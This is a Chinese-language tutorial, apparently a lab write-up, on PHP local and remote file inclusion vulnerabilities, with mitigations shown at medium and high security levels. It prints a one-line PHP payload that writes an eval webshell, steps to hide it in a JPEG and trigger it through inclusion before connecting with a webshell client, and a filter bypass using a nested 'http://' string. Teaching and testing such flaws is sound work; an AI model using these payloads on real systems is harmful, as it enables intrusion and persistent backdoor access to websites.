网络安全——文件包含漏洞渗透及防御

概述

文件包含漏洞渗透是指通过不严谨的php网页后台而产生的安全漏洞。
比如:
有三个正常的文件需要在主代码中运行,把这三个好的文分别为
a.php b.php c.php
主代码可以用三种办法将这几个文件包含进来:
第一种:

include a.php
include b.php
include c.php

第二种:

include *.php

第三种:

include *

显然,如果主代码中用后两种方式包含文件的话,就有可能把带有恶意的文件包含进来。
如果恶意的文件是php,那完全可以通过网页的url请求去运行。

但是如果是图片,txt或者其他的文件,是无法通过网页请求去运行带有恶意性质的代码的。
恶意的文件里面虽然也可能有正常的内容,而且如果通过url企图去执行也是完成不了的,但是如果网站开发者用了最后一种include *的方式包含文件,那么掺杂在图片,txt等文件中的一句话木马就会被执行(虽然会有其他执行不了的乱码因为是图片或者其他类型的文件,但是只要有一句恶意的php,它就会被执行)
就像前一篇文章的实验三的那种情况,就只能通过文件包含去做,把恶意php或者其他的恶意代码写进图片里面,等待被包含执行

文件包含有两种

本地文件包含 LFI(local file include)
远程文件包含 RFI(remote file include)

前面说的都是本地文件包含

远程文件包含就是包含了远程服务器上的恶意文件,这样就无需把恶意的脚本放到本地
漏洞来源 开启了allow_url_include

本地文件包含+webshell

文件包含使靶机自动生成php文件
1、制作一句话木马 e.g. xxx.jpg
将下面这句话嵌入到xxx.jpg图片文件里面去,这句话的作用是:当服务端将图片包含了以后将会执行下面代码,然后会生成一个文件shell.php,并且把<?php eval($_POST[cmd]);?>写入shell.php

<?fputs(fopen("shell.php","w"),'<?php eval($_POST[cmd]);?>')?>

2、上传图片木马文件
如何查看图片的地址链接呢?直接在浏览器当前操作页选一张图片右击选择复制图片连接,就知道图片都存在哪里。总之也有其他很多办法找到图片路径
3、执行文件包含并生成后门
等待包含图片文件,也就同时生成了shell.php
总的来说就是找到包含路径,然后执行生成的php
4、通过菜刀连接webshell

如何制作一句话木马文件呢

方法一:windows命令:

copy xxx.jpg/b+shell.php xxxx.jpg

就是以二进制(/b)的方式读图片,然后将shell.php的内容加到里面,最后生成木马图片xxxx.jpg
(据说windows下的copy能做很多事情,把两个文件加在一起,比如两个视频加在一起都行还能播放)
方法二:edjpgcom
直接把图片拖拽到edjpgcom.exe上面,然后会自动弹出一个编辑窗,然后将一句话木马写在里面点击ok就可以了。注意这是对原图片进行更改,不会再生成一张图片。

中安全级别

中安全级别对本地文件包含还是没有什么限制
限制的主要是远端文件包含
限制的办法是将包含文件中可能存在的http字段和https字段改成空,这样就包含不到了。
然而这样的话你完全可以在http字段外面再套一层http
例如你这么写:
hthttp://tp://
这样尽管服务端用str_replace给你删掉了一个http://,你还是有一个http://

高安全级别

直接去判断文件名是不是你想包含的文件名,不对就直接退出

if( $file != include.php ){
	echo "error";
	exit;
}
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值